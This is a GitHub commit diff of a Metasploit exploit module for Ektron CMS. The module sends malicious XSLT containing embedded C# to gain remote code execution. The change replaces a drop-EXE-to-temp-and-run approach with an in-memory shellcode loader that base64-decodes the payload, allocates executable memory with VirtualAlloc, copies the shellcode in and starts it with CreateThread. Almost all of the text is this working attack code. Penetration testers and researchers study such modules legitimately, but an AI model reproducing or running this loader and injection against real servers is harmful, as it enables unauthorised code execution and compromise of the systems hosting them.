Skip to content

Commit ceb6f81

Browse files
committed
Merge branch 'ektron_xslt_exec_nicob' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ektron_xslt_exec_nicob
2 parents 461f057 + 2eb4de8 commit ceb6f81

File tree

1 file changed

+22
-51
lines changed

1 file changed

+22
-51
lines changed

modules/exploits/windows/http/ektron_xslt_exec.rb

Lines changed: 22 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Remote
1313

1414
include Msf::Exploit::Remote::HttpClient
1515
include Msf::Exploit::EXE
16-
include Msf::Exploit::FileDropper
1716

1817
def initialize(info = {})
1918
super(update_info(info,
@@ -27,7 +26,8 @@ def initialize(info = {})
2726
},
2827
'Author' => [
2928
'Rich Lundeen', # Vulnerability discovery
30-
'juan vazquez' # Metasploit module
29+
'juan vazquez', # Metasploit module
30+
'Nicolas "Nicob" Gregoire' # C# code using VirtualAlloc + copy shellcode + CreateThread
3131
],
3232
'License' => MSF_LICENSE,
3333
'References' =>
@@ -102,35 +102,6 @@ def check
102102
return Exploit::CheckCode::Safe
103103
end
104104

105-
106-
def on_new_session(session)
107-
if session.type == "meterpreter"
108-
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
109-
end
110-
111-
@dropped_files.delete_if do |file|
112-
win_file = file.gsub("/", "\\\\")
113-
if session.type == "meterpreter"
114-
begin
115-
windir = session.fs.file.expand_path("%WINDIR%")
116-
win_file = "#{windir}\\Temp\\#{win_file}"
117-
# Meterpreter should do this automatically as part of
118-
# fs.file.rm(). Until that has been implemented, remove the
119-
# read-only flag with a command.
120-
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
121-
session.fs.file.rm(win_file)
122-
print_good("Deleted #{file}")
123-
true
124-
rescue ::Rex::Post::Meterpreter::RequestError
125-
print_error("Failed to delete #{win_file}")
126-
false
127-
end
128-
129-
end
130-
end
131-
132-
end
133-
134105
def uri_path
135106
uri_path = target_uri.path
136107
uri_path << "/" if uri_path[-1, 1] != "/"
@@ -154,10 +125,8 @@ def build_referer
154125
def exploit
155126

156127
print_status("Generating the EXE Payload and the XSLT...")
157-
exe_data = generate_payload_exe
158-
exe_string = Rex::Text.to_hex(exe_data)
159-
exename = rand_text_alpha(5 + rand(5))
160128
fingerprint = rand_text_alpha(5 + rand(5))
129+
161130
xslt_data = <<-XSLT
162131
<?xml version='1.0'?>
163132
<xsl:stylesheet version="1.0"
@@ -166,24 +135,27 @@ def exploit
166135
xmlns:user="http://mycompany.com/mynamespace">
167136
<msxsl:script language="C#" implements-prefix="user">
168137
<![CDATA[
138+
139+
private static UInt32 MEM_COMMIT = 0x1000;
140+
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
141+
142+
[System.Runtime.InteropServices.DllImport("kernel32")]
143+
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
144+
145+
[System.Runtime.InteropServices.DllImport("kernel32")]
146+
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
147+
169148
public string xml()
170149
{
171-
char[] charData = "#{exe_string}".ToCharArray();
172-
string fileName = @"C:\\windows\\temp\\#{exename}.txt";
173-
System.IO.FileStream fs = new System.IO.FileStream(fileName, System.IO.FileMode.Create);
174-
System.IO.BinaryWriter bw = new System.IO.BinaryWriter(fs);
175-
for (int i = 0; i < charData.Length; i++)
176-
{
177-
bw.Write( (byte) charData[i]);
178-
}
179-
bw.Close();
180-
fs.Close();
181-
System.Diagnostics.Process p = new System.Diagnostics.Process();
182-
p.StartInfo.UseShellExecute = false;
183-
p.StartInfo.RedirectStandardOutput = true;
184-
p.StartInfo.FileName = @"C:\\windows\\temp\\#{exename}.txt";
185-
p.Start();
186-
return "#{fingerprint}";
150+
string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
151+
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
152+
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
153+
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
154+
IntPtr hThread = IntPtr.Zero;
155+
IntPtr pinfo = IntPtr.Zero;
156+
UInt32 threadId = 0;
157+
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
158+
return "#{fingerprint}";
187159
}
188160
]]>
189161
</msxsl:script>
@@ -210,7 +182,6 @@ def exploit
210182
})
211183
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
212184
print_good("Exploitation was successful")
213-
register_file_for_cleanup("#{exename}.txt")
214185
else
215186
fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the xslt transformation request")
216187
end

0 commit comments

Comments
 (0)